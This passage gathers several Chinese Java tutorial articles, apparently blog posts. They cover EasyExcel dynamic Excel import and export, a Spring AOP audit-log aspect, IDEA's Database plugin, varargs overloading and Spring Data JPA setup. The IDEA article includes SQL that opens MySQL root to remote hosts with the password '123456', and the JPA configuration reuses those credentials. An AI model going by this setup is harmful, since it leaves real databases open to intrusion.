File("/Users/panzhi/Documents/easyexcel-export-user1.xlsx")); EasyExcel.write(outputStream, UserWriteEntity.class).sheet("用户信息").doWrite(dataList); }运行程序,打开文件内容结果!简单导入这种简单固定表头的 Excel 文件,如果想要读取文件数据,操作也很简单。以上面的导出文件为例,使用 EasyExcel 提供的EasyExcel工具类,即可来实现文件内容数据的快速读取,示例代码如下:首先创建读取实体类/** * 读取实体类 */ public class UserReadEntity { @ExcelProperty(value = "姓名") private String name; /** * 强制读取第三个 这里不建议 index 和 name 同时用,要么一个对象只用index,要么一个对象只用name去匹配 */ @ExcelProperty(index = 1) private int age; @DateTimeFormat("yyyy-MM-dd HH:mm:ss") @ExcelProperty(value = "操作时间") private Date time; //set、get... }然后读取文件数据,并封装到对象里面public static void main(String[] args) throws FileNotFoundException { //同步读取文件内容 FileInputStream inputStream = new FileInputStream(new File("/Users/panzhi/Documents/easyexcel-user1.xls")); List<UserReadEntity> list = EasyExcel.read(inputStream).head(UserReadEntity.class).sheet().doReadSync(); System.out.println(JSONArray.toJSONString(list)); }运行程序,输出结果如下:[{"age":20,"name":"张三0","time":1616920360000},{"age":21,"name":"张三1","time":1616920360000},{"age":22,"name":"张三2","time":1616920360000},{"age":23,"name":"张三3","time":1616920360000},{"age":24,"name":"张三4","time":1616920360000},{"age":25,"name":"张三5","time":1616920360000},{"age":26,"name":"张三6","time":1616920360000},{"age":27,"name":"张三7","time":1616920360000},{"age":28,"name":"张三8","time":1616920360000},{"age":29,"name":"张三9","time":1616920360000}]动态自由导出导入在实际使用开发中,我们不可能每来一个 excel 导入导出需求,就编写一个实体类,很多业务需求需要根据不同的字段来动态导入导出,没办法基于实体类注解的方式来读取文件或者写入文件。因此,基于EasyExcel提供的动态参数化生成文件和动态监听器读取文件方法,我们可以单独封装一套动态导出导出工具类,省的我们每次都需要重新编写大量重复工作,以下就是小编我在实际使用过程,封装出来的工具类,在此分享给大家!首先,我们可以编写一个动态导出工具类public class DynamicEasyExcelExportUtils { private static final Logger log = LoggerFactory.getLogger(DynamicEasyExcelExportUtils.class); private static final String DEFAULT_SHEET_NAME = "sheet1"; /** * 动态生成导出模版(单表头) * @param headColumns 列名称 * @return excel文件流 */ public static byte[] exportTemplateExcelFile(List<String> headColumns){ List<List<String>> excelHead = Lists.newArrayList(); headColumns.forEach(columnName -> { excelHead.add(Lists.newArrayList(columnName)); }); byte[] stream = createExcelFile(excelHead, new ArrayList<>()); return stream; } /** * 动态生成模版(复杂表头) * @param excelHead 列名称 * @return */ public static byte[] exportTemplateExcelFileCustomHead(List<List<String>> excelHead){ byte[] stream = createExcelFile(excelHead, new ArrayList<>()); return stream; } /** * 动态导出文件(通过map方式计算) * @param headColumnMap 有序列头部 * @param dataList 数据体 * @return */ public static byte[] exportExcelFile(LinkedHashMap<String, String> headColumnMap, List<Map<String, Object>> dataList){ //获取列名称 List<List<String>> excelHead = new ArrayList<>(); if(MapUtils.isNotEmpty(headColumnMap)){ //key为匹配符,value为列名,如果多级列名用逗号隔开 headColumnMap.entrySet().forEach(entry -> { excelHead.add(Lists.newArrayList(entry.getValue().split(","))); }); } List<List<Object>> excelRows = new ArrayList<>(); if(MapUtils.isNotEmpty(headColumnMap) && CollectionUtils.isNotEmpty(dataList)){ for (Map<String, Object> dataMap : dataList) { List<Object> rows = new ArrayList<>(); headColumnMap.entrySet().forEach(headColumnEntry -> { if(dataMap.containsKey(headColumnEntry.getKey())){ Object data = dataMap.get(headColumnEntry.getKey()); rows.add(data); } }); excelRows.add(rows); } } byte[] stream = createExcelFile(excelHead, excelRows); return stream; } /** * 生成文件(自定义头部排列) * @param rowHeads * @param excelRows * @return */ public static byte[] customerExportExcelFile(List<List<String>> rowHeads, List<List<Object>> excelRows){ //将行头部转成easyexcel能识别的部分 List<List<String>> excelHead = transferHead(rowHeads); return createExcelFile(excelHead, excelRows); } /** * 生成文件 * @param excelHead * @param excelRows * @return */ private static byte[] createExcelFile(List<List<String>> excelHead, List<List<Object>> excelRows){ try { if(CollectionUtils.isNotEmpty(excelHead)){ ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); EasyExcel.write(outputStream).registerWriteHandler(new LongestMatchColumnWidthStyleStrategy()) .head(excelHead) .sheet(DEFAULT_SHEET_NAME) .doWrite(excelRows); return outputStream.toByteArray(); } } catch (Exception e) { log.error("动态生成excel文件失败,headColumns:" + JSONArray.toJSONString(excelHead) + ",excelRows:" + JSONArray.toJSONString(excelRows), e); } return null; } /** * 将行头部转成easyexcel能识别的部分 * @param rowHeads * @return */ public static List<List<String>> transferHead(List<List<String>> rowHeads){ //将头部列进行反转 List<List<String>> realHead = new ArrayList<>(); if(CollectionUtils.isNotEmpty(rowHeads)){ Map<Integer, List<String>> cellMap = new LinkedHashMap<>(); //遍历行 for (List<String> cells : rowHeads) { //遍历列 for (int i = 0; i < cells.size(); i++) { if(cellMap.containsKey(i)){ cellMap.get(i).add(cells.get(i)); } else { cellMap.put(i, Lists.newArrayList(cells.get(i))); } } } //将列一行一行加入realHead cellMap.entrySet().forEach(item -> realHead.add(item.getValue())); } return realHead; } /** * 导出文件测试 * @param args * @throws IOException */ public static void main(String[] args) throws IOException { //导出包含数据内容的文件(方式一) LinkedHashMap<String, String> headColumnMap = Maps.newLinkedHashMap(); headColumnMap.put("className","班级"); headColumnMap.put("name","学生信息,姓名"); headColumnMap.put("sex","学生信息,性别"); List<Map<String, Object>> dataList = new ArrayList<>(); for (int i = 0; i < 5; i++) { Map<String, Object> dataMap = Maps.newHashMap(); dataMap.put("className", "一年级"); dataMap.put("name", "张三" + i); dataMap.put("sex", "男"); dataList.add(dataMap); } byte[] stream1 = exportExcelFile(headColumnMap, dataList); FileOutputStream outputStream1 = new FileOutputStream(new File("/Users/panzhi/Documents/easyexcel-export-user5.xlsx")); outputStream1.write(stream1); outputStream1.close(); //导出包含数据内容的文件(方式二) //头部,第一层 List<String> head1 = new ArrayList<>(); head1.add("第一行头部列1"); head1.add("第一行头部列1"); head1.add("第一行头部列1"); head1.add("第一行头部列1"); //头部,第二层 List<String> head2 = new ArrayList<>(); head2.add("第二行头部列1"); head2.add("第二行头部列1"); head2.add("第二行头部列2"); head2.add("第二行头部列2"); //头部,第三层 List<String> head3 = new ArrayList<>(); head3.add("第三行头部列1"); head3.add("第三行头部列2"); head3.add("第三行头部列3"); head3.add("第三行头部列4"); //封装头部 List<List<String>> allHead = new ArrayList<>(); allHead.add(head1); allHead.add(head2); allHead.add(head3); //封装数据体 //第一行数据 List<Object> data1 = Lists.newArrayList(1,1,1,1); //第二行数据 List<Object> data2 = Lists.newArrayList(2,2,2,2); List<List<Object>> allData = Lists.newArrayList(data1, data2); byte[] stream2 = customerExportExcelFile(allHead, allData); FileOutputStream outputStream2 = new FileOutputStream(new File("/Users/panzhi/Documents/easyexcel-export-user6.xlsx")); outputStream2.write(stream2); outputStream2.close(); } }然后,编写一个动态导入工具类/** * 创建一个文件读取监听器 */ public class DynamicEasyExcelListener extends AnalysisEventListener<Map<Integer, String>> { private static final Logger LOGGER = LoggerFactory.getLogger(UserDataListener.class); /** * 表头数据(存储所有的表头数据) */ private List<Map<Integer, String>> headList = new ArrayList<>(); /** * 数据体 */ private List<Map<Integer, String>> dataList = new ArrayList<>(); /** * 这里会一行行的返回头 * * @param headMap * @param context */ @Override public void invokeHeadMap(Map<Integer, String> headMap, AnalysisContext context) { LOGGER.info("解析到一条头数据:{}", JSON.toJSONString(headMap)); //存储全部表头数据 headList.add(headMap); } /** * 这个每一条数据解析都会来调用 * * @param data * one row value. Is is same as {@link AnalysisContext#readRowHolder()} * @param context */ @Override public void invoke(Map<Integer, String> data, AnalysisContext context) { LOGGER.info("解析到一条数据:{}", JSON.toJSONString(data)); dataList.add(data); } /** * 所有数据解析完成了 都会来调用 * * @param context */ @Override public void doAfterAllAnalysed(AnalysisContext context) { // 这里也要保存数据,确保最后遗留的数据也存储到数据库 LOGGER.info("所有数据解析完成!"); } public List<Map<Integer, String>> getHeadList() { return headList; } public List<Map<Integer, String>> getDataList() { return dataList; } }动态导入工具类/** * 编写导入工具类 */ public class DynamicEasyExcelImportUtils { /** * 动态获取全部列和数据体,默认从第一行开始解析数据 * @param stream * @return */ public static List<Map<String,String>> parseExcelToView(byte[] stream) { return parseExcelToView(stream, 1); } /** * 动态获取全部列和数据体 * @param stream excel文件流 * @param parseRowNumber 指定读取行 * @return */ public static List<Map<String,String>> parseExcelToView(byte[] stream, Integer parseRowNumber) { DynamicEasyExcelListener readListener = new DynamicEasyExcelListener(); EasyExcelFactory.read(new ByteArrayInputStream(stream)).registerReadListener(readListener).headRowNumber(parseRowNumber).sheet(0).doRead(); List<Map<Integer, String>> headList = readListener.getHeadList(); if(CollectionUtils.isEmpty(headList)){ throw new RuntimeException("Excel未包含表头"); } List<Map<Integer, String>> dataList = readListener.getDataList(); if(CollectionUtils.isEmpty(dataList)){ throw new RuntimeException("Excel未包含数据"); } //获取头部,取最后一次解析的列头数据 Map<Integer, String> excelHeadIdxNameMap = headList.get(headList.size() -1); //封装数据体 List<Map<String,String>> excelDataList = Lists.newArrayList(); for (Map<Integer, String> dataRow : dataList) { Map<String,String> rowData = new LinkedHashMap<>(); excelHeadIdxNameMap.entrySet().forEach(columnHead -> { rowData.put(columnHead.getValue(), dataRow.get(columnHead.getKey())); }); excelDataList.add(rowData); } return excelDataList; } /** * 文件导入测试 * @param args * @throws IOException */ public static void main(String[] args) throws IOException { FileInputStream inputStream = new FileInputStream(new File("/Users/panzhi/Documents/easyexcel-export-user5.xlsx")); byte[] stream = IoUtils.toByteArray(inputStream); List<Map<String,String>> dataList = parseExcelToView(stream, 2); System.out.println(JSONArray.toJSONString(dataList)); inputStream.close(); } }为了方便后续的操作流程,在解析数据的时候,会将列名作为key!三、小结在实际的业务开发过程中,根据参数动态实现 Excel 的导出导入还是非常广的。当然,EasyExcel 的功能还不只上面介绍的那些内容,还有基于模版进行 excel的填充,web 端 restful 的导出导出,使用方法大致都差不多,更多的功能,会在后续的文章中再次介绍,如果有描述不对的地方,欢迎网友批评吐槽!
一、简介任何一个软件系统,都不可避免的会碰到【信息安全】这个词,尤其是对于刚入行的新手,比如我,我刚入行的时候,领导让我做一个数据报表导出功能,我就按照他的意思去做,至于谁有权限操作导出,导出的数据包含敏感信息应该怎么处理,后端接口是不是做了权限控制防止恶意抓取,这些问题我基本上不关心,我只想一心一意尽快实现需求,然后顺利完成任务交付。实际上,随着工作阅历的增加,你会越来越能感觉到,实现业务方提的需求,只是完成了软件系统研发中的【能用】要求;服务是否【可靠】可能需要从架构层和运维方面去着手解决;至于是否【安全】、更多的需要从【信息安全】这个角度来思考,尤其是当我们的软件系统面对外界的恶意干扰和攻击时,是否依然能保障用户正常使用,对于大公司,这个可能是头等大事,因为可能一个很小很小的漏洞,一不小心可能会给公司带来几千万的损失!最常见的就是电商系统和支付系统,尤其是需求旺季的时候,经常有黑客专门攻击这些电商系统,导致大量服务宕机,影响用户正常下单。像这样的攻击案例每天都有,有的公司甚至直接向黑客气妥,给钱消灾!但是这种做法肯定不是长久之计,最重要的还是主动提升系统的【安全】防御系数。由于信息安全所涉及的要求内容众多,今天,我在这里仅仅向大家介绍其中关于【审计日志】的要求和具体应用,后续也会向大家介绍其他的要求。【审计日志】,简单的说就是系统需要记录谁,在什么时间,对什么数据,做了什么样的更改!这个日志数据是极其珍贵的,后面如果因业务操作上出了问题,可以很方便进行操作回查。同时,任何一个 IT 系统,如果要过审,这项任务基本上也是必审项!好了,需求我们清楚了,具体应用看下面!二、实践实现【审计日志】这个需求,我们有一个很好的技术解决方案,就是使用 Spring 的切面编程,创建一个代理类,利用afterReturning和afterThrowing方法来实现日志的记录。具体实现步骤如下先创建审计日志表CREATE TABLE `tb_audit_log` ( `id` bigint(20) NOT NULL COMMENT '审计日志,主键ID', `table_name` varchar(500) DEFAULT '' COMMENT '操作的表名,多个用逗号隔开', `operate_desc` varchar(200) DEFAULT '' COMMENT '操作描述', `request_param` varchar(200) DEFAULT '' COMMENT '请求参数', `result` int(10) COMMENT '执行结果,0:成功,1:失败', `ex_msg` varchar(200) DEFAULT '' COMMENT '异常信息', `user_agent` text COLLATE utf8mb4_unicode_ci COMMENT '用户代理信息', `ip_address` varchar(32) NOT NULL DEFAULT '' COMMENT '操作时设备IP', `ip_address_name` varchar(32) DEFAULT '' COMMENT '操作时设备IP所在地址', `operate_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '操作时间', `operate_user_id` varchar(32) DEFAULT '' COMMENT '操作人ID', `operate_user_name` varchar(32) DEFAULT '' COMMENT '操作人', PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci COMMENT='审计日志表';然后编写一个注解类@Retention(RetentionPolicy.RUNTIME) @Target({ElementType.TYPE,ElementType.METHOD}) @Documented public @interface SystemAuditLog { /** * 操作了的表名 * @return */ String tableName() default ""; /** * 日志描述 * @return */ String description() default ""; }接着编写一个代理类@Component @Aspect public class SystemAuditLogAspect { @Autowired private SystemAuditLogService systemAuditLogService; /** * 定义切入点,切入所有标注此注解的类和方法 */ @Pointcut("@within(com.example.demo.core.annotation.SystemAuditLog)|| @annotation(com.example.demo.core.annotation.SystemAuditLog)") public void methodAspect() { } /** * 方法调用前拦截 */ @Before("methodAspect()") public void before(){ System.out.println("SystemAuditLog代理 -> 调用方法执行之前......"); } /** * 方法调用后拦截 */ @After("methodAspect()") public void after(){ System.out.println("SystemAuditLog代理 -> 调用方法执行之后......"); } /** * 调用方法结束拦截 */ @AfterReturning(value = "methodAspect()") public void afterReturning(JoinPoint joinPoint) throws Exception { System.out.println("SystemAuditLog代理 -> 调用方法结束拦截......"); //封装数据 AuditLog entity = warpAuditLog(joinPoint); entity.setResult(0); //插入到数据库 systemAuditLogService.add(entity); } /** * 抛出异常拦截 */ @AfterThrowing(value="methodAspect()", throwing="ex") public void afterThrowing(JoinPoint joinPoint, Exception ex) throws Exception { System.out.println("SystemAuditLog代理 -> 抛出异常拦截......"); //封装数据 AuditLog entity = warpAuditLog(joinPoint); entity.setResult(1); //封装错误信息 entity.setExMsg(ex.getMessage()); //插入到数据库 systemAuditLogService.add(entity); } /** * 封装插入实体 * @param joinPoint * @return * @throws Exception */ private AuditLog warpAuditLog(JoinPoint joinPoint) throws Exception { //获取请求上下文 HttpServletRequest request = getHttpServletRequest(); //获取注解上的参数值 SystemAuditLog systemAuditLog = getServiceMethodDescription(joinPoint); //获取请求参数 Object requestObj = getServiceMethodParams(joinPoint); //封装数据 AuditLog auditLog = new AuditLog(); auditLog.setId(SnowflakeIdWorker.getInstance().nextId()); //从请求上下文对象获取相应的数据 if(Objects.nonNull(request)){ auditLog.setUserAgent(request.getHeader("User-Agent")); //获取登录时的ip地址 auditLog.setIpAddress(IpAddressUtil.getIpAddress(request)); //调用外部接口,获取IP所在地 auditLog.setIpAddressName(IpAddressUtil.getLoginAddress(auditLog.getIpAddress())); } //封装操作的表和描述 if(Objects.nonNull(systemAuditLog)){ auditLog.setTableName(systemAuditLog.tableName()); auditLog.setOperateDesc(systemAuditLog.description()); } //封装请求参数 auditLog.setRequestParam(JSON.toJSONString(requestObj)); //封装请求人 if(Objects.nonNull(requestObj) && requestObj instanceof BaseRequest){ auditLog.setOperateUserId(((BaseRequest) requestObj).getLoginUserId()); auditLog.setOperateUserName(((BaseRequest) requestObj).getLoginUserName()); } auditLog.setOperateTime(new Date()); return auditLog; } /** * 获取当前的request * 这里如果报空指针异常是因为单独使用spring获取request * 需要在配置文件里添加监听 * * 如果是spring项目,通过下面方式注入 * <listener> * <listener-class> * org.springframework.web.context.request.RequestContextListener * </listener-class> * </listener> * * 如果是springboot项目,在配置类里面,通过下面方式注入 * @Bean * public RequestContextListener requestContextListener(){ * return new RequestContextListener(); * } * @return */ private HttpServletRequest getHttpServletRequest(){ RequestAttributes ra = RequestContextHolder.getRequestAttributes(); ServletRequestAttributes sra = (ServletRequestAttributes)ra; HttpServletRequest request = sra.getRequest(); return request; } /** * 获取请求对象 * @param joinPoint * @return * @throws Exception */ private Object getServiceMethodParams(JoinPoint joinPoint) { Object[] arguments = joinPoint.getArgs(); if(Objects.nonNull(arguments) && arguments.length > 0){ return arguments[0]; } return null; } /** * 获取自定义注解里的参数 * @param joinPoint * @return 返回注解里面的日志描述 * @throws Exception */ private SystemAuditLog getServiceMethodDescription(JoinPoint joinPoint) throws Exception { //类名 String targetName = joinPoint.getTarget().getClass().getName(); //方法名 String methodName = joinPoint.getSignature().getName(); //参数 Object[] arguments = joinPoint.getArgs(); //通过反射获取示例对象 Class targetClass = Class.forName(targetName); //通过实例对象方法数组 Method[] methods = targetClass.getMethods(); for(Method method : methods) { //判断方法名是不是一样 if(method.getName().equals(methodName)) { //对比参数数组的长度 Class[] clazzs = method.getParameterTypes(); if(clazzs.length == arguments.length) { //获取注解里的日志信息 return method.getAnnotation(SystemAuditLog.class); } } } return null; } }最后,只需要在对应的接口或者方法上添加审计日志注解即可@RestController @RequestMapping("api") public class LoginController { /** * 用户登录,添加审计日志注解 * @param request */ @SystemAuditLog(tableName = "tb_user", description = "用户登录") @PostMapping("login") public void login(UserLoginDTO request){ //登录逻辑处理 } }相关的实体类@Data public class AuditLog { /** * 审计日志,主键ID */ private Long id; /** * 操作的表名,多个用逗号隔开 */ private String tableName; /** * 操作描述 */ private String operateDesc; /** * 请求参数 */ private String requestParam; /** * 执行结果,0:成功,1:失败 */ private Integer result; /** * 异常信息 */ private String exMsg; /** * 请求代理信息 */ private String userAgent; /** * 操作时设备IP */ private String ipAddress; /** * 操作时设备IP所在地址 */ private String ipAddressName; /** * 操作时间 */ private Date operateTime; /** * 操作人ID */ private String operateUserId; /** * 操作人 */ private String operateUserName; }public class BaseRequest implements Serializable { /** * 请求token */ private String token; /** * 登录人ID */ private String loginUserId; /** * 登录人姓名 */ private String loginUserName; public String getToken() { return token; } public void setToken(String token) { this.token = token; } public String getLoginUserId() { return loginUserId; } public void setLoginUserId(String loginUserId) { this.loginUserId = loginUserId; } public String getLoginUserName() { return loginUserName; } public void setLoginUserName(String loginUserName) { this.loginUserName = loginUserName; } }@Data public class UserLoginDTO extends BaseRequest { /** * 用户名 */ private String userName; /** * 密码 */ private String password; }三、小结整个程序的实现过程,主要使用了 Spring AOP 特性,对特定方法进行前、后拦截,从而实现业务方的需求。在下篇文章中,我们会详细介绍 Spring AOP 的使用!
插件就是这么秀阿粉前两天因为写了一个关于 JPA 的文章,有的读者看完之后,就引出了这个插件,阿粉今天就来给大家来安排一下这个插件是怎么使用的。实际上这个插件一般都是内置好的,也就是说各位小伙伴们无需去进行额外的操作去安装,IDEA右边工具栏,有个Database插件。我们点开来看看。各式各样的数据库都能用呀,那我们就用我们最稀松平常的 MySQL 来操作一波。我们先填写一下这个,如果你是本地装的 MySQL 的话,那就是 localhost,如果你是在你的阿里云服务器上安装的 MySQL 的,那就是你的地址了,如果你是通过 Docker 安装的 MySQL 的话,记得把远程访问的权限都给打开,不然你是连不上你的 MySQL 的。Docker 解除 MySQL 的远程访问权限命令如下:use mysql; select host,user from user; ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456'; //root 你的账号 123456 你的密码 flush privileges;接下来,我们就来配置一下,试试看。阿粉的是在阿里云上的一个服务器,安装的 Docker 来使用的 MySQL ,如果出现DBMS: MySQL (ver. 8.0.26) Case sensitivity: plain=exact, delimited=exact Driver: MySQL Connector/J (ver. mysql-connector-java-8.0.25 (Revision: 08be9e9b4cba6aa115f9b27b215887af40b159e0), JDBC4.2) Ping: 110 ms SSL: yes那恭喜你了,能连上了,直接开始我们的使用。这个 schema 很多人就疑惑了,这是个啥。好像和 Navicat 里面的 Database 不太一样,实际上,MySQL的文档中指出,在物理上,模式与数据库是同义的,所以,模式和数据库是一回事。而这个模式就是 schema。所以,大家直接把 schema 当成 Database 看就可以了。直接全部勾选上就可以了。我们就能看到我们的数据库了,接下来,就是表了。这就是我们所有的表的内容,展开的话,包括表结构等所有的内容都有展示,都能展示的很完全,包括字段的主键,类型,等等一系列的内容,剩下的就是查询了。Database 的查询。1.选中你要查询的数据库,右键,创建一个 Query Console 窗口,就和 Navicat 的新建查询效果是一样的。然后就是写你的查询语句了。而且单表的话,和 Navicat 一样,支持直接在查询结果上面修改各种值,但是修改完之后要记得 Commit 一下,不会和 Navicat 一样,切出去之后,自己就给你更新了。看,这个样子是不是就改好了。插件直接新建表当然,也是支持创建表结构的,毕竟你只有查询那是不可能的,所以,我们就来创建一个表结构来试试。实际上就是写了创建表的语句,然后再窗口执行了,我们也可以不通过这种方式来建表,直接写熟悉的 SQL 语句来进行建表实战。CREATE TABLE IF NOT EXISTS `just_do_java`( `just_do_java_id` INT UNSIGNED AUTO_INCREMENT, `rjust_do_java_title` VARCHAR(100) NOT NULL, `just_do_java_author` VARCHAR(40) NOT NULL, `submission_date` DATE, PRIMARY KEY ( `just_do_java_id` ) )ENGINE=InnoDB DEFAULT CHARSET=utf8;大家看,没毛病呀,所以,你导出的 .sql 的脚本,拉过来也是直接可以使用的。而且和 Navicat 完全没太大的区别,只是使用习惯有些不太一样了,但是,阿粉想说的是,如果你能用 Navicat 的话,这个东西对你来说属于可有可无的东西,毕竟不是所有的公司都不提供给你正版软件使用的。比如某东,虽然比较坑爹,但是人家会统计需要使用开发的软件,然后给你提供软件的正版授权,但是有些公司就不给,可能是因为外包吧,你觉得呢?
我们都知道 Java 支持可变参数的形式定义方法,这种语法糖在某些时候可以简化我们的代码,但是关于可变参数是如何实现的以及其他的更多细节,你真的知道吗?今天阿粉就带你来了解一下。可变参数方法的定义首先看下可变参数方法在代码上是如何定义的,如下所示:public static void method1(Integer id, String... names) { System.out.println("id:" + id + " names:" + names.length); }通过上面的示例,我们可以看出在定义方法时,在最后一个形参类型后加上三点 …,就表示该形参可以接受多个相同类型的参数值,多个参数值被当成数组传入。这里我们需要注意几个点:可变参数只能作为函数的最后一个参数,在其前面可以有也可以没有任何其他参数;由于可变参数必须是最后一个参数,所以一个函数最多只能有一个可变参数;Java 的可变参数,会被编译器转型为一个数组;上面提到可变参数的形式会被编译成一个数组,那么问题来了,我可不可以写两个下面这样的方法呢?public static void method1(Integer id, String... names) { System.out.println("id:" + id + " names:"+ names.length); } public static void method1(Integer id, String[] names) { System.out.println("id:" + id + " names:" + names.length); }在一个类中的定义相同名字的一个可变参数的方法和一个包含数组的方法,写完过后我们就发现 IDEA 已经提示我们这种写法的编译不了的了。从这里我们可以知道可变参数在编译为字节码后,在方法签名中会以数组形态出现的,导致这两个方法的签名一致的,如果同时出现,是不能编译通过的。可变参数方法的调用可变参数方法的调用跟其他方法的调用没什么区别,这里要说明的是,我们除了通过可变参数进行调用之外,还可以通过传入数组的形式来进行调用,如下所示:public static void main(String[] args) { //直接传递参数 method1(1, "ziyou", "java极客技术"); //通过数组的形式传递参数 String[] array = new String[]{"ziyou", "Java 极客技术", "fdf"}; method1(2, array); //不传递可变参数 method1(3); }通过可变参数和数组的形式,这两种调用形式本质上是一样的;另外可变参数的个数也可以为 0。可变参数方法的重载试想一下如果我们定义了下面这样的两个方法,定义和使用的时候会是什么情况public static void method2(String... names) { System.out.println("111111"); } public static void method2(String value1, String value2) { System.out.println("22222"); }第一个是只有一个可变参数形参的方法;第二个是一个 String 类型的固定参数和第二个参数是可变参数的方法。首先,定义的时候完全没有问题,IDEA 也没有任何错误提示,编译也不会有问题。那么在使用的时候呢?比如下面这样的写法会输出什么结果呢?public static void main(String[] args) { method2("java 极客技术", "ziyou"); }在看输出结果之前,我们可以看到,main 函数中的调用,其实这两个重载的函数都是可以满足的,而且编译也没有错,那么程序运行会输出什么呢?通过实际的运行结果我们可以看到,输出的结果是22222 表示运行的是method2(String value1, String value2) 这个方法,那说明什么问题呢?说明当存在与可变参数方法形成重载方法的时候的,会优先固定参数的方法进行执行,相信这一点大家应该都从来没有关注过。写到这里可能有小明要问了,那如果我们第二个方法中的 value2 也是可变参数呢?那这种情况会怎么样呢?为此我们再看一下,下面的这种形式会怎样。public static void method2(String... names) { System.out.println("111111"); } public static void method2(String value1, String value2) { System.out.println("22222"); } public static void method2(String value1, String... value2) { System.out.println("33333"); }首先定义的时候 IDEA 没有任何错误提示,说明编译是没有问题的,那调用的时候呢?可以看到这个时候 IDEA 已经提示我们匹配到多个方法合适的方法,不能编译通过,主要是第一个和第三个方式的写法导致的,匹配到了多个可变参数的方法,我们日常开发的时候要注意这个问题。Object 可变参数看到这样有小明就要问了,那我可不可以创建一个基于 Object 的可变参数方法,这样子这个方法不就是可以接受所有类型的参数了吗?就像这样:public static void method3(Object... objects) { System.out.println("objects size" + objects.length); }首先要说的是,这么定义当然是没有问题的,但是可读性会差很多,调用方完全不知道要传入什么类型;要是真的写了太多像这样的代码,估计维护起来也是害人害己,这么写的小明就好自为之吧,被开除了不要说是看了阿粉写的文章学会的。好了,今天就给大家介绍这么多,更多优质的文章欢迎关注我们原创公众号「Java极客技术」。
SpringDataJPA和Mybaits什么是JPAjpq是面向对象的思想,一个对象就是一个表,强化的是你对这个表的控制。jpa继承的那么多表约束注解也证明了jpa对这个数据库对象控制很注重。其实,在阿粉的眼中,JPA好像就是和Hibernate是一样的东西,区别并不大。Spring Data JPA是Spring Data的子模块。使用Spring Data,使得基于“repositories”概念的JPA实现更简单和容易。Spring Data JPA的目标是大大简化数据访问层代码的编码。作为使用者,我们只需要编写自己的repository接口,接口中包含一些个性化的查询方法,Spring Data JPA将自动实现查询方法.也就是说是什么呢?如果我们要写一个根据ID查对象的方法比如:findUserById(String Id) 首先这个方法的名称,阿粉起名起的还是比较标准的,如果你在使用SpringDataJPA的话,再repository中直接使用这个方法名,就可以了,但是如果你使用了 Mybaits 的话,可能你需要在xml文件中,或者再方法上写SQL 就比如这个样子,select * from User where id = "xxxxx";什么是Mybaitsmybatis则是面向sql,你的结果完全来源于sql,而对象这个东西只是用来接收sql带来的结果集。你的一切操作都是围绕sql,包括动态根据条件决定sql语句等。mybatis并不那么注重对象的概念。只要能接收到数据就好。而且MyBatis对于面向对象的概念强调比较少,更适用于灵活的对数据进行增、删、改、查,所以在系统分析和设计过程中,要最大的发挥MyBatis的效用的话,一般使用步骤则与hibernate有所区别:综合整个系统分析出系统需要存储的数据项目,并画出E-R关系图,设计表结构根据上一步设计的表结构,创建数据库、表编写MyBatis的SQL 映射文件、Pojos以及数据库操作对应的接口方法而且现在有很多的Mybaits的插件,用于逆向生成 Mybaits 的文件,比如直接通过你建立的表生成 Dao文件和 dao.xml文件。但是今天阿粉的重点可不是说这个 Mybatis,而是SpringDataJPA接下来阿粉就来详细说说这个SpringDataJPA什么是SpringDataJPA官方文档先放上总的来说JPA是ORM规范,Hibernate是JPA规范的具体实现,这样的好处是开发者可以面向JPA规范进行持久层的开发,而底层的实现则是可以切换的。Spring Data Jpa则是在JPA之上添加另一层抽象(Repository层的实现),极大地简化持久层开发及ORM框架切换的成本。为什么这么多公司会选择 Mybaits ,而不选择使用 SpringDataJPA 呢?因为Spring Data Jpa的开发难度要大于Mybatis。主要是由于Hibernate封装了完整的对象关系映射机制,以至于内部的实现比较复杂、庞大,学习周期较长。这对于现在的快捷式开发显然并不适合,但是因为某些公司最早的开发,所以现在很多公司仍然延续使用 Spring Data Jpa 来进行开发,接下来阿粉就来说说这个 Spring Data Jpa 是如何使用的。如何使用 SpringDataJPA我们直接使用SpringBoot 整合一下Spring Data Jpa 来进行操作。来展示如何使用 Spring Data Jpa。创建一个 SpringBoot 的项目,然后加入我们的依赖,或者你在创建的时候就进行选择,比如选择好我们接下来所需要的所有依赖就像这个样子。这个时候我们就直接勾选上lombok,然后SpringWeb,还有我们的数据库驱动的 Jpa 的依赖。创建完成,我们就能看到已经为我们添加好了我们所需要的依赖环境<dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-jpa</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> <optional>true</optional> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> </dependencies>如果不会选依赖的,各位,这肯定是一个非常好的方式。接下来配置一下 yml 文件server: port: 8080 servlet: context-path: / spring: datasource: url: jdbc:mysql://localhost:3306/jpa?useUnicode=true&characterEncoding=UTF-8&zeroDateTimeBehavior=convertToNull&allowMultiQueries=true&useSSL=false username: root password: 123456 jpa: database: MySQL database-platform: org.hibernate.dialect.MySQL5InnoDBDialect show-sql: true hibernate: ddl-auto: update看,最后有个hibernate,这就是之前阿粉说的,hibernate提供规范,ddl-auto这个参数也是有很多值的,不同的值代表着不同的内容。create:每次运行程序时,都会重新创建表,故而数据会丢失create-drop:每次运行程序时会先创建表结构,然后待程序结束时清空表upadte:每次运行程序,没有表时会创建表,如果对象发生改变会更新表结构,原有数据不会清空,只会更新(推荐使用)validate:运行程序会校验数据与数据库的字段类型是否相同,字段不同会报错none: 禁用DDL处理然后启动一下,看看是否成功,如果出现数据库啥的不合适的,肯定是帐号和密码写错了,或者连接的数据库不对,看着改一下。有问题就改嘛,这才是好朋友。看阿粉启动的还是相对来说很成功的,接下来我们就得安排一下这个 JPa 的使用方式了。接下来我们创建好一组内容,Controller,Service,Dao,Entry,然后是我们实体类的内容和表@Data @Entity @Table(name = "user") public class User { @Id @GenericGenerator(name = "idGenerator", strategy = "uuid") @GeneratedValue(generator = "idGenerator") private String id; @Column(name = "user_name", unique = true, nullable = false, length = 64) private String userName; 